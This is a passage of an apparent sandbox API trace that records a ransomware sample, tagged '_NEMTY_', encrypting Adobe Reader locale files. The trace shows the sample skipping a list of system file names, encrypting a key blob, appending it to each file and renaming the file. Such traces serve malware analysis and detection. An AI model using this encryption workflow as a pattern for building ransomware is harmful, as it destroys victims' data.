hHeap=0x4f90000) returned 1 [0174.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.325] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.CZE", cAlternateFileName="READOU~1.CZE")) returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2=".") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="..") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="...") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="windows") returned -1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="rsa") returned -1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="NTDETECT.COM") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="ntldr") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="MSDOS.SYS") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="IO.SYS") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="boot.ini") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="boot.ini") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="ntuser.dat") returned 1 [0174.325] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="desktop.ini") returned 1 [0174.326] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="CONFIG.SYS") returned 1 [0174.326] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="RECYCLER") returned -1 [0174.326] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.326] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="bootmgr") returned 1 [0174.326] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="programdata") returned 1 [0174.326] lstrcmpiW (lpString1="ReadOutLoud.CZE", lpString2="appdata") returned 1 [0174.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CZE", lpUsedDefaultChar=0x0) returned 15 [0174.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CZE", lpUsedDefaultChar=0x0) returned 15 [0174.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CZE", lpUsedDefaultChar=0x0) returned 15 [0174.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0174.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.CZE", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.CZE", lpUsedDefaultChar=0x0) returned 15 [0174.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.326] Sleep (dwMilliseconds=0x5) [0174.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b8dea50, dwHighDateTime=0x1d561e8)) [0174.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b8dea50, dwHighDateTime=0x1d561e8)) [0174.328] GetLastError () returned 0x0 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.328] GetLastError () returned 0x0 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.328] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.328] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="GZMGgCKg8ZaU/0axx7IHysWShQFKWsXaarA4txInGiPEEJhMpJxhKZP3WDlMbj7/\r\ngHmKDUBGMlcnSemW4lkFgIk2Ur+dH2GMbPRseChqhbG8T94+IF/2kgRRDb14DW5m\r\n2YBtWrzAVJDDb44IUTDEv6zRCIe7IC1L2GjW6oeKI5Sg1YeFnn8C+pfBDFIly/QN\r\nFFkqVu4i2h7TyqdJvpbER8jfUUIiCX8cU5CMEw6io7SLS1Z0O0PukCt1M0I1l5Pp\r\nHxJUd23tMwXJHN/hOG09o8YgsTUnfJDPAJPY3uKsMvryqKh/mqFVZbGMtj34Culd\r\nclX5iSpjYacc0AY8ddu+zg==\r\n", pcchString=0x653e5dc) returned 1 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readoutloud.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.329] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0174.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0174.329] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.329] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0174.332] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.332] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0174.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.332] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0174.332] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.332] CloseHandle (hObject=0x2e8) returned 1 [0174.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.332] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.332] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.333] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readoutloud.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\ReadOutLoud.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\readoutloud.cze._nemty_kgobjgd_")) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.333] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.333] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.CZE", cAlternateFileName="")) returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2=".") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="..") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="...") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="windows") returned -1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="rsa") returned -1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="NTDETECT.COM") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="ntldr") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="MSDOS.SYS") returned 1 [0174.333] lstrcmpiW (lpString1="reflow.CZE", lpString2="IO.SYS") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="boot.ini") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="boot.ini") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="ntuser.dat") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="desktop.ini") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="CONFIG.SYS") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="RECYCLER") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="bootmgr") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="programdata") returned 1 [0174.334] lstrcmpiW (lpString1="reflow.CZE", lpString2="appdata") returned 1 [0174.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.334] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CZE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.334] Sleep (dwMilliseconds=0x5) [0174.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b904bb0, dwHighDateTime=0x1d561e8)) [0174.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b904bb0, dwHighDateTime=0x1d561e8)) [0174.343] GetLastError () returned 0x0 [0174.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.343] GetLastError () returned 0x0 [0174.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.343] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.344] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.344] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="SasCcLn9Qna0+mwef0bGoysl7objO9Z1J5M5N5FFwUqeLMxStf01yP33c7uxKckF\r\nYwKqqLa8X8WkVCHaMYRuKJNak7ZDhJsUsLvXAZFv3WkxG/9eN+F2MrtheFMszxuv\r\n4/lF0zgl/6cdBldU+fPL9Gyp0GJXBvCkRz30c+TTlJpZP42E+lq6BFkyYCqMy5ja\r\n2Wud659JlqO61+GImYEIsZ2pUkuCvXABVSDvnnK6Xj3+Q+GOfZJAdh5y2Ltq2HFp\r\nTT2mWIyk/XvU6ySB0zsxxzNClD3GiJiPmgIdMq3RSOFXWoKxKVfXNKJioO2RSFjx\r\n3UjCWLMCyYIF2sFilt5EYw==\r\n", pcchString=0x653e5dc) returned 1 [0174.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\reflow.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.345] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0174.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0174.345] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.345] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0174.346] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.347] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0174.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.347] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0174.347] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.347] CloseHandle (hObject=0x2e8) returned 1 [0174.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.347] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE" 